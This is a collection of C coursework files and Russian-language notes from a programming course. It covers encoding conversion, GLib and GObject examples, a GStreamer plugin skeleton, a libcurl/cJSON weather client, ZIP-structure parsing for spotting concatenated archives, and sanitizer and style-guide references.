<file_sep>#ifndef LIBFT_H #define LIBFT_H /* maybe don't need next 3 linex */ #define CP1251 "cp1251" #define KOI8 "koi8" #define ISO8859_5 "iso-8859-5" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> int ft_cp1251(char *argv[]); int ft_koi8(char *argv[]); int ft_iso_8859_5(char *argv[]); int ft_check_encoding(char *str); void ft_error(char *argv[], int error); #ifdef CP_1251 unsigned char cp_1251[] = { 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143}; //#else //extern unsigned char cp_1251[]; #endif #ifdef KOI_8 unsigned char koi8[] = { 142, 176, 177, 134, 180, 181, 132, 179, 133, 184, 185, 186, 187, 188, 189, 190, 191, 143, 128, 129, 130, 131, 182, 178, 140, 139, 183, 136, 141, 137, 135, 138, 174, 144, 145, 166, 148, 149, 164, 147, 165, 152, 153, 154, 155, 156, 157, 158, 159, 175, 160, 161, 162, 163, 150, 146, 172, 171, 151, 168, 173, 169, 167, 170}; //#else //extern unsigned char koi8[]; #endif #ifdef ISO_8859_5 unsigned char iso_8859_5[] = { 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143}; //#else //extern unsigned char iso_8859_5[]; #endif enum l_ERROR { ERR_FILE = 2, ERR_SAME_FILE = 5, ERR_PERMISSION = 13, ERR_ARG = 22, ERR_EMPTY_FILE = 61, ERR_ENCODING = 95 }; enum ENCODING { E_ERR, E_CP1251, E_KOI8, E_ISO8859_5 }; #endif <file_sep># Установка окружения (cJSON and curl-devel) ## fedora ```sh sudo yum -y install epel-release sudo yum -y install curl-devel git cmake3 git clone https://github.com/DaveGamble/cJSON cd cJSON git reset --hard 203a0de mkdir build cd build cmake3 .. make make install ``` ## add links ``` sudo echo '/usr/local/lib64' >/etc/ld.so.conf.d/libcjson-x86_64.conf sudo ldconfig ``` <file_sep>#include "../includes/libft.h" int ft_check_encoding(char *str) { if (strcmp(str, CP1251) == 0) return E_CP1251; else if (strcmp(str, KOI8) == 0) return E_KOI8; else if (strcmp(str, ISO8859_5) == 0) return E_ISO8859_5; return 0; } <file_sep># Статические структуры данных Структуры и типы данных применяемых в языке C. <file_sep>#ifndef _ANIMAL_CAT_H_ #define _ANIMAL_CAT_H_ #include <glib-2.0/glib-object.h> G_BEGIN_DECLS /* все наши дальнейшие определения будут тут */ /* #define OURNAMESPACE_TYPE_OUROBJECT ournamespace_ourobject_get_type() */ /* return Gtype structure, include type info, name, size, links initial and finalyze*/ #define ANIMAL_TYPE_CAT animal_cat_get_type() /*G_DECARE_DERIVABLE_TYPE (NamespaceObject, namespace_object, NAMESPACE, OBJECT, ParentClass)*/ /*update type, check type, */ G_DECLARE_DERIVABLE_TYPE(AnimalCat, animal_cat, ANIMAL, CAT, GObject) struct _AnimalCatClass { GObjectClass parent_class; void (*say_meow)(AnimalCat *); }; /* g_object_new(NAMESPACE_TYPE_OBJECT, NULL);*/ AnimalCat *animal_cat_new(); void animal_cat_say_meow(AnimalCat *self); G_END_DECLS #endif /* _ANIMAL_CAT_H_ */ <file_sep>LDFLAGS = `pkg-config --cflags --libs glib-2.0` all: GSList GArray GQueue GHashTable GTree GSList: @gcc $(LDFLAGS) $@.c -o $@ GArray: @gcc $(LDFLAGS) $@.c -o $@ GQueue: @gcc $(LDFLAGS) $@.c -o $@ GHashTable: @gcc $(LDFLAGS) $@.c -o $@ GTree: @gcc $(LDFLAGS) $@.c -o $@ clean: @rm -f GSList GArray GQueue GHashTable GTree <file_sep># Документация по стандартам [link](https://en.cppreference.com/w/) ## Undefined Behaviou Sanitizer <https://gcc.gnu.org/onlinedocs/gcc/Instrumentation-Options.html#index-fsanitize_003dundefined> ```c $ cat test.c int main(int argc, char **argv) { int k = 0x7fffffff; k += argc; return 0; } ``` ```sh gcc -fsanitize=undefined test.c ./a.out ``` ## Address Sanitizer <https://github.com/google/sanitizers/wiki/AddressSanitizer> ```c #include <stdlib.h> int main() { char *x = (char*)malloc(10 * sizeof(char*)); free(x); return x[5]; } ``` ```sh $ gcc -fsanitize=address test.c $ ./a.out ==25480==ERROR: AddressSanitizer: heap-use-after-free on address 0x60700000dfb5 at pc 0x0000004007d4 bp 0x7fff7645f390 sp 0x7fff7645f380 gcc -W... - warning gcc -o... - optimization gcc -f... - modification ``` ## Статические анализаторы кода [01:20] Можно встраивать в CI - [Clang Static Analyzer](https://clang-analyzer.llvm.org/) - [Cppcheck](http://cppcheck.sourceforge.net/) - [PCS studio](https://www.viva64.com/ru/pvs-studio) - [блог на Хабре](https://habr.com/ru/company/pvs-studio) ## Best proctices [01:24] - [SEI CERT C Coding Standard](https://wiki.sei.cmu.edu/confluence/display/c/SEI+CERT+C+Coding+Standard) - [MISRA C](https://www.misra.org.uk/Buyonline/tabid/58/Default.aspx) - [NASA C style guide](https://ntrs.nasa.gov/api/citations/19950022400/downloads/19950022400.pdf) - [<NAME>. C Elements of Style: The Programmer’s Style Manual for](http://www.oualline.com/books.free/style/index.html) - [Elegant C and C++ Programs](http://www.oualline.com/books.free/style/index.html) - “C с классами” ## Style guides [01:29] - [Linux kernel coding style](https://www.kernel.org/doc/html/v4.19/process/coding-style.html) - [GNU coding standards](https://www.gnu.org/prep/standards/standards.html#Writing-C) - linux дистрибутив по сути является, совокупностью ядра linux и gnu окружения(утилит) - [FreeBSD kernel style guide](https://www.freebsd.org/cgi/man.cgi?query=style&apropos=0&sektion=9&manpath=FreeBSD+12.1-RELEASE+and+Ports&arch=default&format=html) - [OpenSSL coding style](https://www.openssl.org/policies/codingstyle.txt) - [Apache Developers’ C Language Style Guide](https://httpd.apache.org/dev/styleguide.html) - [OpenResty C Coding Style Guide](https://openresty.org/en/c-coding-style-guide.html) ## Автоматические форматтеры кода [01:33] - [GNU indent](https://www.gnu.org/software/indent/manual/indent.html) - [clang-format](https://clang.llvm.org/docs/ClangFormat.html) – [clang-format configurator](https://zed0.co.uk/clang-format-configurator) ## Нестандартные стандартные библиотеки [01:35] <http://www.etalabs.net/compare_libcs.html> - [MSVCRT](https://docs.microsoft.com/ru-ru/cpp/c-runtime-library/c-run-time-library-reference?view=msvc-160) - [FreeBSD libc](https://github.com/freebsd/freebsd-src/tree/master/lib/libc) - [GNU libc](https://www.gnu.org/software/libc) - [musl libc](https://musl.libc.org/) - alpine - [uClibc](https://uclibc.org/about.html) - [dietlibc](http://www.fefe.de/dietlibc) - [Newlib](http://www.sourceware.org/newlib) - [klibc](https://ru.wikipedia.org/wiki/Klibc) [01:43] объявление струкруры fread в указатель на структуру нужно искать определенную последовательность, где начинается zip <file_sep>#include "./animalcat.h" int main(int argc, char **argv) { AnimalCat *cat_a = animal_cat_new(); // AnimalCat *cat_b = animal_cat_new(); animal_cat_say_meow(cat_a); return 0; } <file_sep>/* obj.h */ #ifndef OBJ_H #define OBJ_H #include <stdlib.h> #include <stdio.h> typedef struct obj_t obj_t; obj_t *obj_alloc(); void obj_setid(obj_t *, int); int obj_getid(obj_t *); void obj_free(obj_t *); #endif <file_sep>#include <string.h> #include <stdio.h> #include <iconv.h> #include <stdlib.h> int main() { int k; unsigned char *str; int a; str = (char *)malloc(1024); a = 0; k = 0; while (k < 256) str[a++] = k++; str[a] = '\0'; unsigned char *in = "Вопрос!"; unsigned char out[1024]; /* ! */ char *in_ptr = in; char *out_ptr = &out[0]; size_t inbytes = strlen(in); size_t outbytes = sizeof out; // определяется элемент cd, // а также выполняется конвертация из UTF-8 в нужную кодировку //iconv_t cd = iconv_open("cp1251", "utf-8"); iconv_t cd = iconv_open("koi8-r", "utf-8"); //iconv_t cd = iconv_open("iso-8859-5", "utf-8"); // подается cd, указатель на строку с входными данными, // указатель на переменную с размером, // указатель на выходной буфер и выходной размер iconv(cd, &in_ptr, &inbytes, &out_ptr, &outbytes); iconv_close(cd); // Блок для вывода результатов int i; int len; len = strlen(out); // Вывод числово значения for (i = 0; i < len; i++) printf("%d ", out[i]); printf("\n"); // Вывод символьного значения for (i = 0; i < len; i++) printf("%c ", out[i]); printf("\n"); free(str); } <file_sep>#include <glib-2.0/glib.h> #include <stdio.h> // struct GSList // { // gpointer data; // GSList *next; // }; int main() { GSList *list = NULL, *iterator = NULL; list = g_slist_append(list, "second"); list = g_slist_prepend(list, "first"); list = g_slist_append(list, "third"); list = g_slist_append(list, "fourth"); printf("The list is now %d items long\n", g_slist_length(list)); list = g_slist_remove(list, "first"); printf("The list is now %d items long\n", g_slist_length(list)); printf("The last item is '%s'\n", g_slist_last(list)->data); printf("The item at index '1' is '%s'\n", g_slist_nth(list, 1)->data); printf("Now the item at index '1' the easy way: '%s'\n", g_slist_nth_data(list, 1)); printf("And the 'next' item after first item is '%s'\n", g_slist_next(list)->data); for (iterator = list; iterator; iterator = iterator->next) { printf("Current item is '%s'\n", iterator->data); } g_slist_free(list); } <file_sep>#include "../includes/libft.h" static int isnchar(char c) { if (c > 64 && c < 91) return 0; if (c > 96 && c < 123) return 0; return 1; } static int first_chr(char *str) { int i = 0; while (isnchar(str[i])) i++; return i; } static int last_chr(char *str) { int i = strlen(str) - 1; while (isnchar(str[i])) i--; return i; } char *ft_strdup(char *str) { int i = 0; int c = 0; char *dup; int beg = first_chr(str); int end = last_chr(str) + 1; while (str[c] != '\0') { if (str[c] == ' ') c = c + 2; c++; } dup = (char *)malloc(c + 1); i = 0; int j = beg; while (str[j] != '\0' && j != end) { if (str[j] == ' ') { dup[i++] = '%'; dup[i++] = '2'; dup[i] = '0'; } else dup[i] = str[j]; i++; j++; } dup[i] = '\0'; return dup; } <file_sep>#include "../includes/libft.h" int ft_check(int i, char *argv[]) { struct stat s; if (stat(argv[i], &s) == 0) if (S_ISREG(s.st_mode)) ; else if (S_ISDIR(s.st_mode)) ft_error(argv, i, EISDIR); else ft_error(argv, i, EINVAL); else ft_error(argv, i, errno); return 1; } <file_sep># ZIP Особенность ZIP-архивов заключается в наличие трех различных сигнатур:Структура архива такова: ```conf Local File Header 1 File Data 1 Data Descriptor 1 Local File Header 2 File Data 2 Data Descriptor 2 ... Local File Header n File Data n Data Descriptor n Archive decryption header Archive extra data record Central directory ``` Больше всего интересна центральная директория, которая содержит метаданные о файлах в архиве. Центральная директория всегда начинается с сигнатуры *0x50 0x4b 0x01 0x02* и заканчивается сигнатурой *0x50 0x4b 0x05 0x06*, после которых следует 18 байт метаданных. Что интересно, пустые архивы состоят только из конечной сигнатуры и 18 нулевых байт. После 18 байт следует область комментария к архиву, которая является идеальным контейнером для скрытия файла. Для проверки ZIP-архива необходимо найти конечную сигнатуру центральной директории, пропустить 18 байт и искать сигнатуры известных форматов в области комментария. Большой размер комментария также свидетельствует о факте склейки. ## Источник <https://qipu.ru/tele2/sozdanie-polzovatelskogo-izvestnogo-tipa-faila-dlya-r-studio-signaturnye.html> <file_sep># animalCat ## link [habr](https://habr.com/ru/post/348204/) ## Подготовка сборки ```sh sudo dnf -y install glib2.x86_64 glib2-devel.x86_64 ``` <file_sep>#include "../includes/libft.h" FILE *openread(char *argv[], FILE *fp) { fp = fopen(argv[1], "r"); if (fp == NULL) ft_error(errno); return fp; } <file_sep>#include <glib-2.0/glib.h> #include <stdio.h> // struct GQueue { // GList *head; // GList *tail; // guint length; // }; int main() { GQueue *q = g_queue_new(); printf("Is the queue empty? %s, adding folks\n", g_queue_is_empty(q) ? "Yes" : "No"); g_queue_push_tail(q, "Alice"); g_queue_push_tail(q, "Bob"); g_queue_push_tail(q, "Fred"); printf("First in line is %s\n", g_queue_peek_head(q)); printf("Last in line is %s\n", g_queue_peek_tail(q)); printf("The queue is %d people long\n", g_queue_get_length(q)); printf("%s just bought a ticket\n", g_queue_pop_head(q)); printf("Now %s is first in line\n", g_queue_peek_head(q)); printf("Someone's cutting to the front of the line\n"); g_queue_push_head(q, "<NAME>"); printf("Now %s is first in line\n", g_queue_peek_head(q)); g_queue_free(q); } <file_sep>#include "filter.h" G_DEFINE_TYPE (GstMyFilter, gst_my_filter, GST_TYPE_ELEMENT); GST_ELEMENT_REGISTER_DEFINE(my_filter, "my-filter", GST_RANK_NONE, GST_TYPE_MY_FILTER); static void gst_my_filter_class_init (GstMyFilterClass * klass) { GstElementClass *element_class = GST_ELEMENT_CLASS (klass); gst_element_class_set_static_metadata (element_klass, "An example plugin", "Example/FirstExample", "Shows the basic structure of a plugin", "your name <<EMAIL>>"); } static GstStaticPadTemplate sink_factory = GST_STATIC_PAD_TEMPLATE ( "sink", GST_PAD_SINK, GST_PAD_ALWAYS, GST_STATIC_CAPS ("ANY") ); static GstStaticPadTemplate sink_factory = [..], src_factory = [..]; static void gst_my_filter_class_init (GstMyFilterClass * klass) { GstElementClass *element_class = GST_ELEMENT_CLASS (klass); gst_element_class_add_pad_template (element_class, gst_static_pad_template_get (&src_factory)); gst_element_class_add_pad_template (element_class, gst_static_pad_template_get (&sink_factory)); } static GstStaticPadTemplate sink_factory = GST_STATIC_PAD_TEMPLATE ( "sink", GST_PAD_SINK, GST_PAD_ALWAYS, GST_STATIC_CAPS ( "audio/x-raw, " "format = (string) " GST_AUDIO_NE (S16) ", " "channels = (int) { 1, 2 }, " "rate = (int) [ 8000, 96000 ]" ) ); static gboolean plugin_init (GstPlugin *plugin) { return GST_ELEMENT_REGISTER (my_filter, plugin); } GST_PLUGIN_DEFINE ( GST_VERSION_MAJOR, GST_VERSION_MINOR, my_filter, "My filter plugin", plugin_init, VERSION, "LGPL", "GStreamer", "http://gstreamer.net/" ) /********** PAD **********/ static void gst_my_filter_init (GstMyFilter *filter) { filter->sinkpad = gst_pad_new_from_static_template (&sink_template, "sink"); gst_element_add_pad (GST_ELEMENT (filter), filter->sinkpad); filter->srcpad = gst_pad_new_from_static_template (&src_template, "src"); gst_element_add_pad (GST_ELEMENT (filter), filter->srcpad); filter->silent = FALSE; } /********* CHAIN **********/ static GstFlowReturn gst_my_filter_chain (GstPad *pad, GstObject *parent, GstBuffer *buf); static void gst_my_filter_init (GstMyFilter * filter) { gst_pad_set_chain_function (filter->sinkpad, gst_my_filter_chain); } static GstFlowReturn gst_my_filter_chain (GstPad *pad, GstObject *parent, GstBuffer *buf) { GstMyFilter *filter = GST_MY_FILTER (parent); if (!filter->silent) g_print ("Have data of size %" G_GSIZE_FORMAT" bytes!\n", gst_buffer_get_size (buf)); return gst_pad_push (filter->srcpad, buf); } static gboolean gst_my_filter_sink_event (GstPad *pad, GstObject *parent, GstEvent *event); static void gst_my_filter_init (GstMyFilter * filter) { gst_pad_set_event_function (filter->sinkpad, gst_my_filter_sink_event); } /********** EVENT **********/ static gboolean gst_my_filter_sink_event(GstPad *pad, GstObject *parent, GstEvent *event) { gboolean ret; GstMyFilter *filter = GST_MY_FILTER (parent); switch (GST_EVENT_TYPE (event)) { case GST_EVENT_CAPS: ret = gst_pad_push_event (filter->srcpad, event); break; case GST_EVENT_EOS: gst_my_filter_stop_processing (filter); ret = gst_pad_event_default (pad, parent, event); break; default: ret = gst_pad_event_default (pad, parent, event); break; } return ret; } /********** QUERY **********/ static gboolean gst_my_filter_src_query (GstPad *pad, GstObject *parent, GstQuery *query); static void gst_my_filter_init (GstMyFilter * filter) { gst_pad_set_query_function (filter->srcpad, gst_my_filter_src_query); } static gboolean gst_my_filter_src_query (GstPad *pad, GstObject *parent, GstQuery *query) { gboolean ret; GstMyFilter *filter = GST_MY_FILTER (parent); switch (GST_QUERY_TYPE (query)) { case GST_QUERY_POSITION: break; case GST_QUERY_DURATION: break; case GST_QUERY_CAPS: break; default: ret = gst_pad_query_default (pad, parent, query); break; } return ret; } /********** STATE **********/ static GstStateChangeReturn gst_my_filter_change_state (GstElement *element, GstStateChange transition); static void gst_my_filter_class_init (GstMyFilterClass *klass) { GstElementClass *element_class = GST_ELEMENT_CLASS (klass); element_class->change_state = gst_my_filter_change_state; } static GstStateChangeReturn gst_my_filter_change_state (GstElement *element, GstStateChange transition) { GstStateChangeReturn ret = GST_STATE_CHANGE_SUCCESS; GstMyFilter *filter = GST_MY_FILTER (element); switch (transition) { case GST_STATE_CHANGE_NULL_TO_READY: if (!gst_my_filter_allocate_memory (filter)) return GST_STATE_CHANGE_FAILURE; break; default: break; } ret = GST_ELEMENT_CLASS (parent_class)->change_state (element, transition); if (ret == GST_STATE_CHANGE_FAILURE) return ret; switch (transition) { case GST_STATE_CHANGE_READY_TO_NULL: gst_my_filter_free_memory (filter); break; default: break; } return ret; } /********** Adding Properties **********/ /********** Signals **********/ <file_sep># Библиотеки языка Си ## Содержание - Процессы сборки - Создание библиотек - Утилиты(gcc/g++,ar,as,ld,objdump,readelf,size,nm,strings,gdb) ## Домашнее задание - Работа с библиотеками CURL + JSON, [link](./homework/README.md). ## Источники - Создание библиотек под Linux: - Linux. Системное программирование. - UNIX. Профессиональное программирование. - http://www.opennet.ru/docs/RUS/zlp/ <file_sep>#include "../includes/libft.h" void ft_set_opts(CURL *curl_handle, char *query) { curl_easy_setopt(curl_handle, CURLOPT_URL, query); curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION, cb); curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, (void *)&chunk); } <file_sep>NAME := sorting CC := gcc FLAGS := -Wall -Wextra -Wpedantic -std=c11 FLAGS_C = ${FLAGS} -c SRC_DIR := ./srcs/ SRC_FILES := hash.c \ ft_error.c \ string.c \ files.c \ btree.c SRC_S = $(addprefix ${SRC_DIR}, ${SRC_FILES}) MAIN_FILE := main.c MAIN = $(addprefix ${SRC_DIR}, ${MAIN_FILE}) LIB_FILE := libft.a LIB = $(addprefix ${SRC_DIR}, ${LIB_FILE}) OBJ_FILES = $(SRC_FILES:.c=.o) OBJ_S = $(addprefix ${SRC_DIR}, ${OBJ_FILES}) HEADERS := libft.h HEADERS_DIR := ./includes/ HEADERS_TEMP = ${HEADERS_DIR}${HEADERS}.gch ARCHIVE := ar rc INDEX := ar -s CLEAN := rm -rf .PHONY: all clean fclean re all: ${NAME} ${NAME}: ${LIB} @${CC} ${FLAGS} ${MAIN} ${LIB} -o ${NAME} ${LIB}: ${OBJ_S} @${ARCHIVE} $@ ${OBJ_S} @${INDEX} $@ ${SRC_DIR}%.o: ${SRC_DIR}%.c @${CC} ${FLAGS_C} $< -o $@ -I ${HEADERS_DIR} clean: @${CLEAN} ${OBJ_S} ${LIB} ${HEADERS_TEMP} fclean: clean @${CLEAN} ${NAME} re: fclean ${NAME} @${CLEAN} ${OBJ_S} ${LIB} ${HEADERS_TEMP} <file_sep>#include "animaltiger.h" #include "animalpredator.h" int main(int argc, char **argv) { AnimalTiger *tiger = animal_tiger_new(); animal_predator_hunt(tiger); animal_predator_eat_meat(tiger, 100500); } <file_sep>#include "../../includes/libft.h" #include "unistd.h" #include <fcntl.h> int main(int argc, char *argv[]) { FILE *in_stream; char sym; int size; int i; sym = 1; if (argc < 2) return (1); if ((in_stream = fopen(argv[1], "r")) == 0) ft_error(argv, errno); fseek(in_stream, 0, SEEK_END); size = ftell(in_stream); fseek(in_stream, 0, SEEK_SET); i = 0; while (i++ <= size) { printf("%d ", getc(in_stream)); } printf("\n"); fclose(in_stream); return (0); } <file_sep># Домашнее задание ## Библиотеки языка С Написать программу, скачивающую с помощью libcurl и разбирающую с помощью произвольной сторонней библиотеки для JSON в C текущие погодные данные с https://www.metaweather.com/api/ для заданной аргументом командной строки локации. ## Требования: Выбрана библиотека для работы с JSON в C. Создано консольное приложение, принимающее аргументом командной строки локацию (например, moscow). Приложение выводит на экран прогноз погоды на текущий день: текстовое описание погоды, направление и скорость ветра, диапазон температуры. Приложение корректно обрабатывает ошибочно заданную локацию и сетевые ошибки. Код компилируется без warning'ов с ключами компилятора -Wall -Wextra -Wpedantic -std=c11. Далее успешность определяется code review. ## Решение настройка окружения [env](./notes/env.md) отладка при отказе после сборки [debug](./notes/debug.md) сборка: ```sh git clone https://github.com/dbudakov/otus-c-2021-09 cd "otus-c-2021-09/10.Lib C/homework" make all ./weather "new york" ``` <file_sep># Инструмент для создания шаблонов source: [link](https://developer.ridgerun.com/wiki/index.php?title=Creating_a_New_GStreamer_Element_or_Application_Using_Templates) <file_sep># Основные конструкции Переменные: _external_, _internal_ Области видимости: _файл_, _прототип функции_, _функция_, _блок_ Типы памяти: _автоматическая_, _статическая_, _динамическая_ Спецсимволы: \b, \n, \r, \t, \a, \', \", \\ Форматы типов: %c, %d(%i), %o, %u, %x, %f, %s, %p Арифметические операции: `+`, `-`, `*`, `/`, `%`, `--`, `++`, `+=`, `-=`, `*=`, `/=`, `%=` Логическийе операции: `>`, `>=`, `<`, `<=`, `!=`, `&&`, `||`, `!` Битовые операции: `&`, `|`, `^`, `~`, `>>`, `<<` Условные операторы: `if`, `switch` Циклы: `while`, `for`, `do while` Операторы безусловного перехода: `return`, `goto`, `break`,`continue`, `exit()` Макросы: `#define name|command` Указатели: `*str`, `&str` Компоновки: `extern`, `static`, `const` <file_sep>#ifndef LIBFT_H #define LIBFT_H #define EOCD_SIGN 0x06054B50 #define CR_SIGN 0x02014B50 #define EOCD_OFFSET 22 #define JPEG_END_SIGN_1 0xFF #define JPEG_END_SIGN_2 0xD9 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <stdint.h> # ifdef ERROR unsigned int g_error = 0; # else extern unsigned int g_error; # endif void ft_error(char *argv[], int i, int error); int ft_check(int i, char *argv[]); int ft_rar(char *argv[], int i); enum l_ERROR { ERR_FILE = 2, ERR_NON_ARG = 134, ERR_TYPE = 135, ERR_NOT_RAR = 136, ERR_NOT_JPEG = 137, ERR_BAD_RAR = 138 }; #pragma pack(1) struct EOCD { // Обязательная сигнатура, равна 0x06054b50 uint32_t signature; // Номер диска uint16_t diskNumber; // Номер диска, где находится начало Central Directory uint16_t startDiskNumber; // Количество записей в Central Directory в текущем диске uint16_t numberCentralDirectoryRecord; // Всего записей в Central Directory uint16_t totalCentralDirectoryRecord; // Размер Central Directory uint32_t sizeOfCentralDirectory; // Смещение Central Directory uint32_t centralDirectoryOffset; // Длина комментария uint16_t commentLength; // Комментарий (длиной commentLength) //uint8_t *comment; }; struct CentralDirectoryFileHeader { // Обязательная сигнатура, равна 0x02014b50 uint32_t signature; // Версия для создания uint16_t versionMadeBy; // Минимальная версия для распаковки uint16_t versionToExtract; // Битовый флаг uint16_t generalPurposeBitFlag; // Метод сжатия (0 - без сжатия, 8 - deflate) uint16_t compressionMethod; // Время модификации файла uint16_t modificationTime; // Дата модификации файла uint16_t modificationDate; // Контрольная сумма uint32_t crc32; // Сжатый размер uint32_t compressedSize; // Несжатый размер uint32_t uncompressedSize; // Длина название файла uint16_t filenameLength; // Длина поля с дополнительными данными uint16_t extraFieldLength; // Длина комментариев к файлу uint16_t fileCommentLength; // Номер диска uint16_t diskNumber; // Внутренние аттрибуты файла uint16_t internalFileAttributes; // Внешние аттрибуты файла uint32_t externalFileAttributes; // Смещение до структуры LocalFileHeader uint32_t localFileHeaderOffset; // Имя файла (длиной filenameLength) //uint8_t *filename; // Дополнительные данные (длиной extraFieldLength) //uint8_t *extraField; // Комментарий к файла (длиной fileCommentLength) //uint8_t *fileComment; }; #endif <file_sep>#include "../includes/libft.h" /* sedzhvik_fundamentalnye_algoritmy_na_c,553 */ static size_t hashU(char *v, int M) { size_t h, a = 31415, b = 27183; for (h = 0; *v != '\0'; v++, a = a * b % (M - 1)) h = (a * h + *v) % M; return h; } size_t hash(char *v) { unsigned int module = pow(2, 31) - 1; size_t h = hashU(v, module); return h; } <file_sep># README [GList](https://docs.gtk.org/glib/struct.SList.html) [GList](https://docs.gtk.org/glib/struct.List.html) [GArray](https://docs.gtk.org/glib/struct.Array.html) [GQueue](https://docs.gtk.org/glib/struct.Queue.html) [GAsyncQueue](https://docs.gtk.org/glib/struct.AsyncQueue.html) [GHashTable](https://docs.gtk.org/glib/struct.HashTable.html) [GTree](https://docs.gtk.org/glib/struct.Tree.html) [GNode](https://docs.gtk.org/glib/struct.Node.html) ## Дополнительно [glib containers](https://developer.ibm.com/tutorials/l-glib/) <file_sep># c-2021-09 Домашние задания курса OTUS "Программист C" Группа С-2021-09 ## Cписок литературы ```txt <NAME>, <NAME>. Язык программирования Си. Эндрю Таненбаум. Архитектура компьютера. Эндрю Таненбаум. Современные операционные системы. Уильям Ричард Стивенс. UNIX. Профессиональное программирование. Джон Роббинс. Отладка Windows-приложений. К<NAME>и на примерах. Практика, практика и только практика - СПб.: Наука и Техника, 2019. - 288 с. Гриффитс Д. Изучаем программирование на С; пер. с англ. - М.; Эксмо, 2013. - 624 с. Клеменс Бен. Язык С в XXI веке / пер. с англ. А.А. Слинкина. - М.; ДМК Пресс, 2015. - 376 с. <NAME>. Effective C. San Francisco: No starch press. 2020. - 274 p. Блум Джереми. Изучаем Arduino; инструменты и методы технического волшебства; пер. с англ. - СПб.; БХВ-Петербург, 2015. - 336 с. ``` Домашние задания курса OTUS "Программист C" Группа С-2021-09 <file_sep>#ifndef LIBFT_H #define LIBFT_H #define BUFF 250 #define FORMAT ";" #define PROG_NAME "sorting" #define ERR_MAX_CODE 132 #include <stdio.h> #include <math.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <locale.h> struct node; size_t hash(char *v); void ft_error(size_t error); char *ft_strdup(char *str); char *wordFormat(char *str); FILE *openread(char *argv[], FILE *fp); struct node *insert(struct node *root, int index, char *key); void inorder(struct node *root); struct node *createNode(int index, char *key); enum l_ERROR { ERR_ARG = 132, }; struct node { int index; int value; char *key; struct node *left; struct node *right; }; #endif <file_sep>#include "../includes/libft.h" int main(int argc, char *argv[]) { char *query; char *city_parse; CURL *curl_handle; CURLcode res; cJSON *request_json = NULL; cJSON *item = cJSON_CreateArray(); if (argc != 2) ft_error(ERR_ARG); city_parse = ft_strdup(argv[1]); query = ft_query(city_parse); curl_handle = curl_easy_init(); if (curl_handle) { ft_set_opts(curl_handle, query); res = curl_easy_perform(curl_handle); if (res != CURLE_OK) ft_error(ERR_CURL); int i = 0; request_json = cJSON_Parse(chunk.response); while (i < cJSON_GetArraySize(request_json)) { item = cJSON_GetArrayItem(request_json, i++); ft_parse_json(item); } curl_easy_cleanup(curl_handle); free(chunk.response); free(city_parse); free(query); } } <file_sep>#include <stdio.h> #include "./animaltiger.h" struct _AnimalTiger { AnimalCat parent; }; G_DEFINE_TYPE(AnimalTiger, animal_tiger, ANIMAL_TYPE_CAT) static void animal_tiger_real_say_meow(AnimalTiger *self) { printf("Tiger say: ARRRRGH!!!\n"); } static void animal_tiger_class_init(AnimalTigerClass *self) { printf("First instance of AnimalTiger was created.\n"); AnimalCatClass *parent_class = ANIMAL_CAT_CLASS(self); parent_class->say_meow = animal_tiger_real_say_meow; } static void animal_tiger_init(AnimalTiger *self) { printf("Tiger cub was born.\n"); } AnimalTiger *animal_tiger_new() { return g_object_new(ANIMAL_TYPE_TIGER, NULL); } <file_sep>#include <gst/gst.h> /* gcc basic-tutorial-1.c -o basic-tutorial-1 `pkg-config --cflags --libs gstreamer-1.0` */ /* https://gstreamer.freedesktop.org/documentation/tutorials/basic/hello-world.html?gi-language=c */ int main(int argc, char *argv[]) { GstElement *pipeline; GstBus *bus; GstMessage *msg; /* Initialize GStreamer */ gst_init(&argc, &argv); /* Build the pipeline */ pipeline = gst_parse_launch("playbin uri = file:///tmp/two.wav", NULL); // pipeline = // gst_parse_launch("playbin uri=https://www.freedesktop.org/software/gstreamer-sdk/data/media/sintel_trailer-480p.webm", // NULL); /* Start playing */ gst_element_set_state(pipeline, GST_STATE_PLAYING); /* Wait until error or EOS */ bus = gst_element_get_bus(pipeline); msg = gst_bus_timed_pop_filtered(bus, GST_CLOCK_TIME_NONE, GST_MESSAGE_ERROR | GST_MESSAGE_EOS); /* Free resources */ if (msg != NULL) gst_message_unref(msg); gst_object_unref(bus); gst_element_set_state(pipeline, GST_STATE_NULL); gst_object_unref(pipeline); return 0; } <file_sep># Наследование от потомков GObject # link [habr](https://habr.com/ru/post/350132/) <file_sep>#include <stdio.h> int main(int argc, char *argv[]) { int i; FILE *to_stream; if (argc != 2) return (1); if ((to_stream = fopen(argv[1], "w")) == NULL) return (1); i = 0; while (i < 256) { fputc(i++, to_stream); } fclose(to_stream); return (0); } <file_sep>#ifndef LIBFT_H #define LIBFT_H #define WEATHER_SITE "https://www.metaweather.com" #define WEATHER_API "/api/location/search/" #define WEATHER_QUERY "?query=" #define PROG_NAME "wheater" #define ERR_MAX_CODE 132 #include <cjson/cJSON.h> #include <curl/curl.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <errno.h> #include <ctype.h> typedef struct memory { char *response; size_t size; } chunk_s; void ft_error(size_t error); char *ft_query(char *city); void ft_parse_json(cJSON *item); char *ft_strdup(char *str); void ft_set_opts(CURL *curl_handle, char *query); size_t cb(void *data, size_t size, size_t nmemb, void *userp); enum l_ERROR { ERR_ARG = 132, ERR_CURL = 133, ERR_MEM = 134 }; extern chunk_s chunk; #endif <file_sep>// Игнорировать устаревание getc #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <locale.h> #define MAX 10 char *p[MAX]; int in_pos; int out_pos; void qin(char *q) // overflow { if (in_pos == MAX) { printf("Queue overflow\n"); return; } 